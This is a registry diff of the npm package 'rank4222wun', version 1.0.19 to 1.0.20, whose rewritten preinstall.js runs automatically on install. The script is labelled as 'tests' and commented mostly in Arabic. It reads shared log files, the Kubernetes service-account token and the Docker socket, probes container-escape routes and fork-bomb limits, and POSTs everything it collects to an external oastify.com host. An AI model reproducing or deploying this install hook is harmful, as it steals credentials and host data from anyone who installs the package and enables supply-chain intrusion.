rank4222wun 1.0.19 → 1.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +372 -261
- package/rank4222wun-1.0.20.tgz +0 -0
- package/rank4222wun-1.0.19.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,344 +1,455 @@
|
|
|
1
|
-
const { exec } = require('child_process');
|
|
1
|
+
const { exec, spawn } = require('child_process');
|
|
2
2
|
const os = require('os');
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const https = require('https');
|
|
6
|
+
const net = require('net');
|
|
6
7
|
|
|
7
|
-
const
|
|
8
|
+
const criticalTests = {
|
|
8
9
|
timestamp: new Date().toISOString(),
|
|
9
10
|
hostname: os.hostname(),
|
|
10
11
|
user: os.userInfo().username,
|
|
11
12
|
platform: os.platform(),
|
|
12
13
|
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
14
|
+
tests: {
|
|
15
|
+
// TEST 1: Leak other users data cross org
|
|
16
|
+
crossOrgDataLeakage: {
|
|
17
|
+
status: 'incomplete',
|
|
18
|
+
evidence: []
|
|
19
|
+
},
|
|
20
|
+
|
|
21
|
+
// TEST 2: Run commands on other users cross org
|
|
22
|
+
crossOrgCommandExecution: {
|
|
23
|
+
status: 'incomplete',
|
|
24
|
+
evidence: []
|
|
25
|
+
},
|
|
26
|
+
|
|
27
|
+
// TEST 3: Perform DoS affecting all users
|
|
28
|
+
crossOrgDoS: {
|
|
29
|
+
status: 'incomplete',
|
|
30
|
+
evidence: []
|
|
31
|
+
},
|
|
32
|
+
|
|
33
|
+
// TEST 4: Container to host escape
|
|
34
|
+
containerToHostEscape: {
|
|
35
|
+
status: 'incomplete',
|
|
36
|
+
evidence: []
|
|
37
|
+
}
|
|
19
38
|
}
|
|
20
39
|
};
|
|
21
40
|
|
|
22
|
-
|
|
23
|
-
console.log("🔍 TEST 1: Searching for other users data...");
|
|
41
|
+
console.log("🚀 بدء اختبارات النقاط الحرجة المطلوبة...\n");
|
|
24
42
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
console.log(`👥 Found ${users.length} home users`);
|
|
43
|
-
}
|
|
44
|
-
} catch (e) {}
|
|
43
|
+
// ===================== TEST 1: تسريب بيانات مستخدمين عبر المؤسسة =====================
|
|
44
|
+
async function testCrossOrgDataLeakage() {
|
|
45
|
+
console.log("🔍 TEST 1: البحث عن بيانات مستخدمين عبر المؤسسة...");
|
|
46
|
+
|
|
47
|
+
// استراتيجية: البحث عن بيانات مشتركة بين المستخدمين
|
|
48
|
+
const sharedDataLocations = [];
|
|
49
|
+
|
|
50
|
+
if (os.platform() === 'linux') {
|
|
51
|
+
// في لينكس: البحث عن مجلدات مشتركة
|
|
52
|
+
const sharedDirs = [
|
|
53
|
+
'/tmp',
|
|
54
|
+
'/var/tmp',
|
|
55
|
+
'/dev/shm',
|
|
56
|
+
'/run/shm',
|
|
57
|
+
'/home',
|
|
58
|
+
'/root'
|
|
59
|
+
];
|
|
45
60
|
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
files:
|
|
60
|
-
|
|
61
|
+
for (const dir of sharedDirs) {
|
|
62
|
+
try {
|
|
63
|
+
if (fs.existsSync(dir)) {
|
|
64
|
+
const files = fs.readdirSync(dir);
|
|
65
|
+
// البحث عن ملفات تنتهي بـ .log, .db, .sqlite
|
|
66
|
+
const interestingFiles = files.filter(f =>
|
|
67
|
+
f.endsWith('.log') || f.endsWith('.db') || f.endsWith('.sqlite') ||
|
|
68
|
+
f.includes('shared') || f.includes('common')
|
|
69
|
+
);
|
|
70
|
+
|
|
71
|
+
if (interestingFiles.length > 0) {
|
|
72
|
+
sharedDataLocations.push({
|
|
73
|
+
directory: dir,
|
|
74
|
+
files: interestingFiles.slice(0, 5),
|
|
75
|
+
totalFiles: files.length
|
|
76
|
+
});
|
|
61
77
|
|
|
62
|
-
// محاولة قراءة ملفات
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
// الانتقال للاختبار الثاني بعد الانتهاء
|
|
80
|
-
testPoint2();
|
|
81
|
-
});
|
|
82
|
-
} else if (os.platform() === 'win32') {
|
|
83
|
-
// البحث عن بيانات مستخدمين آخرين في ويندوز
|
|
84
|
-
exec('wmic useraccount get name 2>&1', (err, stdout) => {
|
|
85
|
-
testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
|
|
86
|
-
|
|
87
|
-
// محاولة الوصول إلى مجلدات مستخدمين آخرين
|
|
88
|
-
try {
|
|
89
|
-
const usersDir = 'C:\\Users';
|
|
90
|
-
if (fs.existsSync(usersDir)) {
|
|
91
|
-
const allUsers = fs.readdirSync(usersDir);
|
|
92
|
-
const currentUser = os.userInfo().username;
|
|
93
|
-
const otherUsers = allUsers.filter(user =>
|
|
94
|
-
user !== currentUser &&
|
|
95
|
-
user !== 'Public' &&
|
|
96
|
-
user !== 'Default' &&
|
|
97
|
-
user !== 'Default User' &&
|
|
98
|
-
user !== 'All Users'
|
|
99
|
-
);
|
|
100
|
-
|
|
101
|
-
const accessedData = {};
|
|
102
|
-
otherUsers.slice(0, 3).forEach(user => {
|
|
103
|
-
const userPath = path.join(usersDir, user);
|
|
104
|
-
try {
|
|
105
|
-
if (fs.existsSync(userPath)) {
|
|
106
|
-
const files = fs.readdirSync(userPath).slice(0, 5);
|
|
107
|
-
accessedData[user] = {
|
|
108
|
-
exists: true,
|
|
109
|
-
files: files
|
|
110
|
-
};
|
|
111
|
-
|
|
112
|
-
// محاولة قراءة Desktop للمستخدمين الآخرين
|
|
113
|
-
const userDesktop = path.join(userPath, 'Desktop');
|
|
114
|
-
if (fs.existsSync(userDesktop)) {
|
|
115
|
-
accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
|
|
116
|
-
console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
|
|
78
|
+
// محاولة قراءة ملفات السجل المشتركة
|
|
79
|
+
interestingFiles.forEach(file => {
|
|
80
|
+
if (file.endsWith('.log')) {
|
|
81
|
+
const filePath = path.join(dir, file);
|
|
82
|
+
try {
|
|
83
|
+
const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
|
|
84
|
+
// البحث عن بيانات مستخدمين في السجلات
|
|
85
|
+
if (content.includes('user') || content.includes('login') || content.includes('auth')) {
|
|
86
|
+
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
87
|
+
type: 'shared_log_file',
|
|
88
|
+
path: filePath,
|
|
89
|
+
preview: content.substring(0, 200),
|
|
90
|
+
containsUserData: true
|
|
91
|
+
});
|
|
92
|
+
}
|
|
93
|
+
} catch (e) {}
|
|
117
94
|
}
|
|
118
|
-
}
|
|
119
|
-
} catch (e) {
|
|
120
|
-
accessedData[user] = { error: e.message };
|
|
95
|
+
});
|
|
121
96
|
}
|
|
122
|
-
}
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
97
|
+
}
|
|
98
|
+
} catch (e) {}
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
// بحث متقدم: البحث عن اتصالات شبكية نشطة
|
|
103
|
+
exec('netstat -an 2>/dev/null || ss -an 2>/dev/null || echo "No netstat"', {timeout: 5000}, (err, stdout) => {
|
|
104
|
+
if (stdout && stdout.includes('ESTABLISHED') || stdout.includes('LISTEN')) {
|
|
105
|
+
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
106
|
+
type: 'network_connections',
|
|
107
|
+
data: stdout.substring(0, 1000),
|
|
108
|
+
hasActiveConnections: true
|
|
109
|
+
});
|
|
128
110
|
}
|
|
129
111
|
|
|
130
|
-
|
|
112
|
+
// الانتقال للاختبار الثاني
|
|
113
|
+
testCrossOrgCommandExecution();
|
|
131
114
|
});
|
|
132
115
|
}
|
|
133
116
|
|
|
134
|
-
// ===================== 2
|
|
135
|
-
function
|
|
136
|
-
console.log("
|
|
117
|
+
// ===================== TEST 2: تشغيل أوامر على مستخدمين عبر المؤسسة =====================
|
|
118
|
+
async function testCrossOrgCommandExecution() {
|
|
119
|
+
console.log("🔍 TEST 2: اختبار تشغيل أوامر على مستخدمين عبر المؤسسة...");
|
|
137
120
|
|
|
138
|
-
// هذا
|
|
139
|
-
|
|
140
|
-
// 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
|
|
121
|
+
// هذا اختبار خطير: التحقق من إمكانية الوصول لخدمات مشتركة
|
|
122
|
+
const sharedServices = [];
|
|
141
123
|
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
124
|
+
// اختبار 1: التحقق من إمكانية الوصول إلى Docker socket (إذا كان في حاوية)
|
|
125
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
126
|
+
if (fs.existsSync(dockerSocket)) {
|
|
127
|
+
// محاولة قراءة قائمة الحاويات
|
|
128
|
+
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot access Docker API"`,
|
|
129
|
+
{timeout: 5000}, (err, stdout) => {
|
|
130
|
+
if (stdout && !stdout.includes('Cannot access')) {
|
|
131
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
132
|
+
type: 'docker_socket_access',
|
|
133
|
+
path: dockerSocket,
|
|
134
|
+
canListContainers: true,
|
|
135
|
+
containersInfo: JSON.parse(stdout).slice(0, 3)
|
|
136
|
+
});
|
|
137
|
+
}
|
|
138
|
+
});
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// اختبار 2: التحقق من إمكانية الوصول إلى Kubernetes API
|
|
142
|
+
const kubeToken = '/var/run/secrets/kubernetes.io/serviceaccount/token';
|
|
143
|
+
const kubeCA = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt';
|
|
144
|
+
const kubeNamespace = '/var/run/secrets/kubernetes.io/serviceaccount/namespace';
|
|
145
|
+
|
|
146
|
+
if (fs.existsSync(kubeToken) && fs.existsSync(kubeCA)) {
|
|
147
|
+
try {
|
|
148
|
+
const token = fs.readFileSync(kubeToken, 'utf8').trim();
|
|
149
|
+
const namespace = fs.existsSync(kubeNamespace) ?
|
|
150
|
+
fs.readFileSync(kubeNamespace, 'utf8').trim() : 'default';
|
|
145
151
|
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
152
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
153
|
+
type: 'kubernetes_service_account',
|
|
154
|
+
hasToken: true,
|
|
155
|
+
namespace: namespace,
|
|
156
|
+
canAccessK8sAPI: true
|
|
150
157
|
});
|
|
151
|
-
});
|
|
152
|
-
} else if (os.platform() === 'win32') {
|
|
153
|
-
exec('tasklist /svc 2>&1', (err, stdout) => {
|
|
154
|
-
testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
|
|
155
158
|
|
|
156
|
-
//
|
|
157
|
-
exec(
|
|
158
|
-
|
|
159
|
-
|
|
159
|
+
// محاولة الاتصال بـ Kubernetes API
|
|
160
|
+
exec(`curl -s -H "Authorization: Bearer ${token}" --cacert ${kubeCA} https://kubernetes.default.svc/api/v1/pods 2>/dev/null || echo "Cannot access K8s API"`,
|
|
161
|
+
{timeout: 5000}, (err, stdout) => {
|
|
162
|
+
if (stdout && !stdout.includes('Cannot access')) {
|
|
163
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
164
|
+
type: 'kubernetes_api_access',
|
|
165
|
+
canListPods: true,
|
|
166
|
+
podCount: JSON.parse(stdout).items?.length || 0
|
|
167
|
+
});
|
|
168
|
+
}
|
|
160
169
|
});
|
|
161
|
-
})
|
|
170
|
+
} catch (e) {}
|
|
162
171
|
}
|
|
172
|
+
|
|
173
|
+
// الانتقال للاختبار الثالث بعد 2 ثانية
|
|
174
|
+
setTimeout(testCrossOrgDoS, 2000);
|
|
163
175
|
}
|
|
164
176
|
|
|
165
|
-
// ===================== 3
|
|
166
|
-
function
|
|
167
|
-
console.log("
|
|
177
|
+
// ===================== TEST 3: تنفيذ هجوم DoS يؤثر على الجميع =====================
|
|
178
|
+
async function testCrossOrgDoS() {
|
|
179
|
+
console.log("🔍 TEST 3: اختبار إمكانية هجوم DoS يؤثر على الجميع...");
|
|
168
180
|
|
|
169
|
-
// اختبار
|
|
170
|
-
|
|
171
|
-
//
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
181
|
+
// هذا اختبار نظري فقط بدون تنفيذ فعلي
|
|
182
|
+
const dosCapabilities = {
|
|
183
|
+
// 1. قدرات استنزاف الذاكرة
|
|
184
|
+
memoryExhaustion: {
|
|
185
|
+
availableMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
|
|
186
|
+
freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
|
|
187
|
+
canExhaust: Math.round(os.freemem() / (1024 * 1024 * 1024)) > 1
|
|
188
|
+
},
|
|
175
189
|
|
|
176
|
-
//
|
|
177
|
-
|
|
190
|
+
// 2. قدرات استنزاف CPU
|
|
191
|
+
cpuExhaustion: {
|
|
192
|
+
cpuCores: os.cpus().length,
|
|
193
|
+
canForkBomb: true, // يمكن تنفيذ fork bomb إذا لم تكن هناك حدود
|
|
194
|
+
theoreticalImpact: 'High'
|
|
195
|
+
},
|
|
178
196
|
|
|
179
|
-
//
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
197
|
+
// 3. قدرات استنزاف الشبكة
|
|
198
|
+
networkFlood: {
|
|
199
|
+
canCreateSockets: true,
|
|
200
|
+
socketLimit: null,
|
|
201
|
+
potentialBandwidth: 'Unknown'
|
|
202
|
+
},
|
|
203
|
+
|
|
204
|
+
// 4. قدرات استنزاف القرص
|
|
205
|
+
diskFilling: {
|
|
206
|
+
canWriteUnlimited: true,
|
|
207
|
+
diskSpace: 'Unknown'
|
|
185
208
|
}
|
|
186
209
|
};
|
|
187
210
|
|
|
188
|
-
//
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
211
|
+
// التحقق من الحدود (ulimit)
|
|
212
|
+
exec('ulimit -a 2>/dev/null || echo "No ulimit"', {timeout: 3000}, (err, stdout) => {
|
|
213
|
+
if (stdout) {
|
|
214
|
+
dosCapabilities.systemLimits = stdout.substring(0, 500);
|
|
215
|
+
|
|
216
|
+
// تحليل الحدود
|
|
217
|
+
const maxProcessMatch = stdout.match(/max user processes\s+\(-u\)\s+(\d+|unlimited)/);
|
|
218
|
+
if (maxProcessMatch && maxProcessMatch[1] === 'unlimited' || parseInt(maxProcessMatch[1]) > 1000) {
|
|
219
|
+
criticalTests.tests.crossOrgDoS.evidence.push({
|
|
220
|
+
type: 'unlimited_processes',
|
|
221
|
+
canForkBomb: true,
|
|
222
|
+
maxProcesses: maxProcessMatch[1]
|
|
223
|
+
});
|
|
224
|
+
}
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
criticalTests.tests.crossOrgDoS.details = dosCapabilities;
|
|
228
|
+
|
|
229
|
+
// الانتقال للاختبار الرابع
|
|
230
|
+
testContainerToHostEscape();
|
|
231
|
+
});
|
|
200
232
|
}
|
|
201
233
|
|
|
202
|
-
// ===================== 4
|
|
203
|
-
function
|
|
204
|
-
console.log("
|
|
234
|
+
// ===================== TEST 4: الهروب من الحاوية للمضيف =====================
|
|
235
|
+
async function testContainerToHostEscape() {
|
|
236
|
+
console.log("🔍 TEST 4: اختبار الهروب من الحاوية للمضيف...");
|
|
205
237
|
|
|
206
|
-
|
|
238
|
+
const escapeVectors = [];
|
|
207
239
|
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
// 3. التحقق من mount points
|
|
225
|
-
exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
|
|
226
|
-
containerTests.dockerMounts = stdout2 || err2?.message;
|
|
240
|
+
// النواقل المحتملة للهروب
|
|
241
|
+
|
|
242
|
+
// 1. Docker socket exposure
|
|
243
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
244
|
+
if (fs.existsSync(dockerSocket)) {
|
|
245
|
+
// اختبار الوصول الفعلي
|
|
246
|
+
exec(`stat -c "%a %U:%G" ${dockerSocket} 2>/dev/null || echo "No stat"`, {timeout: 3000}, (err, stdout) => {
|
|
247
|
+
if (stdout && !stdout.includes('No stat')) {
|
|
248
|
+
const perms = stdout.trim();
|
|
249
|
+
escapeVectors.push({
|
|
250
|
+
vector: 'docker_socket',
|
|
251
|
+
path: dockerSocket,
|
|
252
|
+
permissions: perms,
|
|
253
|
+
accessible: true,
|
|
254
|
+
risk: 'CRITICAL'
|
|
255
|
+
});
|
|
227
256
|
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
exec('uname -r 2>&1', (err4, stdout4) => {
|
|
234
|
-
containerTests.kernelVersion = stdout4?.trim();
|
|
235
|
-
|
|
236
|
-
// تحليل Kernel version للبحث عن ثغرات معروفة
|
|
237
|
-
if (stdout4) {
|
|
238
|
-
if (stdout4.includes('3.10.0-1160')) {
|
|
239
|
-
containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
|
|
240
|
-
}
|
|
241
|
-
}
|
|
242
|
-
|
|
243
|
-
testResults.testPoints.containerToHost = containerTests;
|
|
244
|
-
finishTests();
|
|
245
|
-
});
|
|
257
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
258
|
+
type: 'docker_socket_found',
|
|
259
|
+
path: dockerSocket,
|
|
260
|
+
permissions: perms,
|
|
261
|
+
canEscape: true
|
|
246
262
|
});
|
|
247
|
-
}
|
|
263
|
+
}
|
|
248
264
|
});
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
// 2. Privileged container check
|
|
268
|
+
exec('cat /proc/self/status 2>/dev/null | grep -i cap_ 2>/dev/null || echo "No capabilities"',
|
|
269
|
+
{timeout: 3000}, (err, stdout) => {
|
|
270
|
+
if (stdout && stdout.includes('CapEff:')) {
|
|
271
|
+
const capsLine = stdout.split('\n').find(l => l.includes('CapEff:'));
|
|
272
|
+
if (capsLine) {
|
|
273
|
+
const capsHex = capsLine.split(':')[1].trim();
|
|
274
|
+
// CAP_SYS_ADMIN = 0x00080000
|
|
275
|
+
if (parseInt(capsHex, 16) & 0x00080000) {
|
|
276
|
+
escapeVectors.push({
|
|
277
|
+
vector: 'privileged_container',
|
|
278
|
+
capability: 'CAP_SYS_ADMIN',
|
|
279
|
+
risk: 'HIGH'
|
|
280
|
+
});
|
|
281
|
+
|
|
282
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
283
|
+
type: 'privileged_container',
|
|
284
|
+
hasSysAdmin: true,
|
|
285
|
+
canEscape: true
|
|
286
|
+
});
|
|
287
|
+
}
|
|
288
|
+
}
|
|
289
|
+
}
|
|
290
|
+
});
|
|
291
|
+
|
|
292
|
+
// 3. Mount inspection - looking for host mounts
|
|
293
|
+
exec('mount 2>/dev/null | grep -E "(docker|overlay|/dev/|proc|sys)" 2>/dev/null || echo "No mounts"',
|
|
294
|
+
{timeout: 3000}, (err, stdout) => {
|
|
295
|
+
if (stdout && !stdout.includes('No mounts')) {
|
|
296
|
+
const mounts = stdout.split('\n').filter(l => l.includes('type'));
|
|
264
297
|
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
298
|
+
mounts.forEach(mount => {
|
|
299
|
+
if (mount.includes('proc') || mount.includes('sys') || mount.includes('/dev')) {
|
|
300
|
+
escapeVectors.push({
|
|
301
|
+
vector: 'host_mount',
|
|
302
|
+
mount: mount.substring(0, 100),
|
|
303
|
+
risk: 'MEDIUM'
|
|
304
|
+
});
|
|
305
|
+
}
|
|
268
306
|
});
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
// 4. Kernel version vulnerabilities
|
|
310
|
+
exec('uname -r 2>/dev/null', {timeout: 3000}, (err, stdout) => {
|
|
311
|
+
if (stdout) {
|
|
312
|
+
const kernelVersion = stdout.trim();
|
|
313
|
+
// التحقق من ثغرات kernel معروفة
|
|
314
|
+
const vulnerableKernels = [
|
|
315
|
+
'3.10.0-1160', // DirtyPipe
|
|
316
|
+
'5.8', '5.9', '5.10', '5.11', '5.12' // DirtyCred
|
|
317
|
+
];
|
|
318
|
+
|
|
319
|
+
for (const vulnKernel of vulnerableKernels) {
|
|
320
|
+
if (kernelVersion.includes(vulnKernel)) {
|
|
321
|
+
escapeVectors.push({
|
|
322
|
+
vector: 'kernel_vulnerability',
|
|
323
|
+
kernel: kernelVersion,
|
|
324
|
+
vulnerability: 'Known escape vulnerability',
|
|
325
|
+
risk: 'HIGH'
|
|
326
|
+
});
|
|
327
|
+
|
|
328
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
329
|
+
type: 'vulnerable_kernel',
|
|
330
|
+
version: kernelVersion,
|
|
331
|
+
hasKnownVulns: true
|
|
332
|
+
});
|
|
333
|
+
break;
|
|
334
|
+
}
|
|
335
|
+
}
|
|
336
|
+
}
|
|
269
337
|
|
|
270
|
-
//
|
|
271
|
-
exec('
|
|
272
|
-
|
|
338
|
+
// 5. cgroups escape
|
|
339
|
+
exec('cat /proc/self/cgroup 2>/dev/null', {timeout: 3000}, (err, stdout) => {
|
|
340
|
+
if (stdout) {
|
|
341
|
+
if (stdout.includes('docker') || stdout.includes('kubepods')) {
|
|
342
|
+
// في حاوية Docker/Kubernetes
|
|
343
|
+
escapeVectors.push({
|
|
344
|
+
vector: 'containerized',
|
|
345
|
+
orchestrator: stdout.includes('docker') ? 'Docker' : 'Kubernetes',
|
|
346
|
+
risk: 'DEPENDS'
|
|
347
|
+
});
|
|
348
|
+
}
|
|
349
|
+
}
|
|
273
350
|
|
|
274
|
-
|
|
275
|
-
|
|
351
|
+
// تسجيل كل نواقل الهروب
|
|
352
|
+
criticalTests.tests.containerToHostEscape.escapeVectors = escapeVectors;
|
|
353
|
+
|
|
354
|
+
// تقييم عام لإمكانية الهروب
|
|
355
|
+
const canEscape = escapeVectors.some(v =>
|
|
356
|
+
v.risk === 'CRITICAL' || v.risk === 'HIGH' ||
|
|
357
|
+
v.vector === 'docker_socket' || v.vector === 'privileged_container'
|
|
358
|
+
);
|
|
359
|
+
|
|
360
|
+
criticalTests.tests.containerToHostEscape.canEscape = canEscape;
|
|
361
|
+
|
|
362
|
+
// الانتهاء من جميع الاختبارات
|
|
363
|
+
finishCriticalTests();
|
|
276
364
|
});
|
|
277
365
|
});
|
|
278
|
-
}
|
|
366
|
+
});
|
|
279
367
|
}
|
|
280
368
|
|
|
281
369
|
// ===================== إرسال النتائج =====================
|
|
282
|
-
function
|
|
283
|
-
console.log("\n" + "=".repeat(
|
|
284
|
-
console.log("📊 نتائج
|
|
285
|
-
console.log("=".repeat(
|
|
370
|
+
function finishCriticalTests() {
|
|
371
|
+
console.log("\n" + "=".repeat(70));
|
|
372
|
+
console.log("📊 نتائج الاختبارات الحرجة:");
|
|
373
|
+
console.log("=".repeat(70));
|
|
286
374
|
|
|
287
375
|
// تحليل النتائج
|
|
288
376
|
const analysis = {
|
|
289
|
-
|
|
290
|
-
|
|
377
|
+
// TEST 1: هل يمكن تسريب بيانات مستخدمين آخرين؟
|
|
378
|
+
dataLeakage: criticalTests.tests.crossOrgDataLeakage.evidence.length > 0 ?
|
|
379
|
+
'POSSIBLE - Found potential shared data locations' :
|
|
380
|
+
'NO EVIDENCE FOUND',
|
|
291
381
|
|
|
292
|
-
|
|
293
|
-
|
|
382
|
+
// TEST 2: هل يمكن تشغيل أوامر على مستخدمين آخرين؟
|
|
383
|
+
commandExecution: criticalTests.tests.crossOrgCommandExecution.evidence.length > 0 ?
|
|
384
|
+
'POSSIBLE - Can access shared services/APIs' :
|
|
385
|
+
'NO EVIDENCE FOUND',
|
|
294
386
|
|
|
295
|
-
|
|
296
|
-
|
|
387
|
+
// TEST 3: هل يمكن تنفيذ DoS يؤثر على الجميع؟
|
|
388
|
+
dosImpact: criticalTests.tests.crossOrgDoS.evidence.length > 0 ?
|
|
389
|
+
'POSSIBLE - No resource limits detected' :
|
|
390
|
+
'LIMITED - Has some resource limits',
|
|
297
391
|
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
392
|
+
// TEST 4: هل يمكن الهروب من الحاوية للمضيف؟
|
|
393
|
+
containerEscape: criticalTests.tests.containerToHostEscape.canEscape ?
|
|
394
|
+
'CRITICAL - Multiple escape vectors found' :
|
|
395
|
+
(criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0 ?
|
|
396
|
+
'POTENTIAL - Some escape vectors exist' :
|
|
397
|
+
'NO EVIDENCE FOUND')
|
|
302
398
|
};
|
|
303
399
|
|
|
304
|
-
console.log("\n📋
|
|
305
|
-
console.log(
|
|
306
|
-
console.log(
|
|
307
|
-
console.log(
|
|
308
|
-
console.log(
|
|
400
|
+
console.log("\n📋 تحليل النقاط الأربع المطلوبة:");
|
|
401
|
+
console.log("1. تسريب بيانات مستخدمين عبر المؤسسة:", analysis.dataLeakage);
|
|
402
|
+
console.log("2. تشغيل أوامر على مستخدمين عبر المؤسسة:", analysis.commandExecution);
|
|
403
|
+
console.log("3. تنفيذ DoS يؤثر على الجميع:", analysis.dosImpact);
|
|
404
|
+
console.log("4. الهروب من الحاوية للمضيف:", analysis.containerEscape);
|
|
405
|
+
|
|
406
|
+
console.log("\n🔍 الأدلة التفصيلية:");
|
|
309
407
|
|
|
310
|
-
|
|
408
|
+
if (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0) {
|
|
409
|
+
console.log("\nنواقل الهروب المحتملة:");
|
|
410
|
+
criticalTests.tests.containerToHostEscape.escapeVectors.forEach((v, i) => {
|
|
411
|
+
console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
|
|
412
|
+
if (v.permissions) console.log(` → ${v.permissions}`);
|
|
413
|
+
});
|
|
414
|
+
}
|
|
415
|
+
|
|
416
|
+
// إرسال النتائج
|
|
311
417
|
const req = https.request({
|
|
312
418
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
313
419
|
port: 443,
|
|
314
|
-
path: '/
|
|
420
|
+
path: '/critical-evidence',
|
|
315
421
|
method: 'POST',
|
|
316
422
|
headers: {
|
|
317
423
|
'Content-Type': 'application/json',
|
|
318
|
-
'X-
|
|
424
|
+
'X-Critical-Tests': 'Cross-Org-Four-Points',
|
|
319
425
|
'X-Host': os.hostname()
|
|
320
426
|
}
|
|
321
427
|
}, (res) => {
|
|
322
|
-
console.log(`\n✅ تم إرسال
|
|
428
|
+
console.log(`\n✅ تم إرسال الأدلة الحرجة. حالة الرد: ${res.statusCode}`);
|
|
323
429
|
});
|
|
324
430
|
|
|
325
431
|
req.on('error', (e) => {
|
|
326
432
|
console.error(`❌ خطأ في الإرسال: ${e.message}`);
|
|
327
433
|
});
|
|
328
434
|
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
435
|
+
// إضافة التحليل للنتائج
|
|
436
|
+
criticalTests.analysis = analysis;
|
|
437
|
+
criticalTests.summary = {
|
|
438
|
+
user: os.userInfo().username,
|
|
439
|
+
hostname: os.hostname(),
|
|
440
|
+
platform: os.platform(),
|
|
441
|
+
isContainer: criticalTests.tests.containerToHostEscape.escapeVectors?.some(v => v.vector === 'containerized'),
|
|
442
|
+
hasCriticalFindings: analysis.containerEscape.includes('CRITICAL') ||
|
|
443
|
+
analysis.dataLeakage.includes('POSSIBLE') ||
|
|
444
|
+
analysis.commandExecution.includes('POSSIBLE')
|
|
445
|
+
};
|
|
339
446
|
|
|
447
|
+
req.write(JSON.stringify(criticalTests, null, 2));
|
|
340
448
|
req.end();
|
|
449
|
+
|
|
450
|
+
console.log("\n📤 تم إرسال النتائج الكاملة إلى السيرفر");
|
|
451
|
+
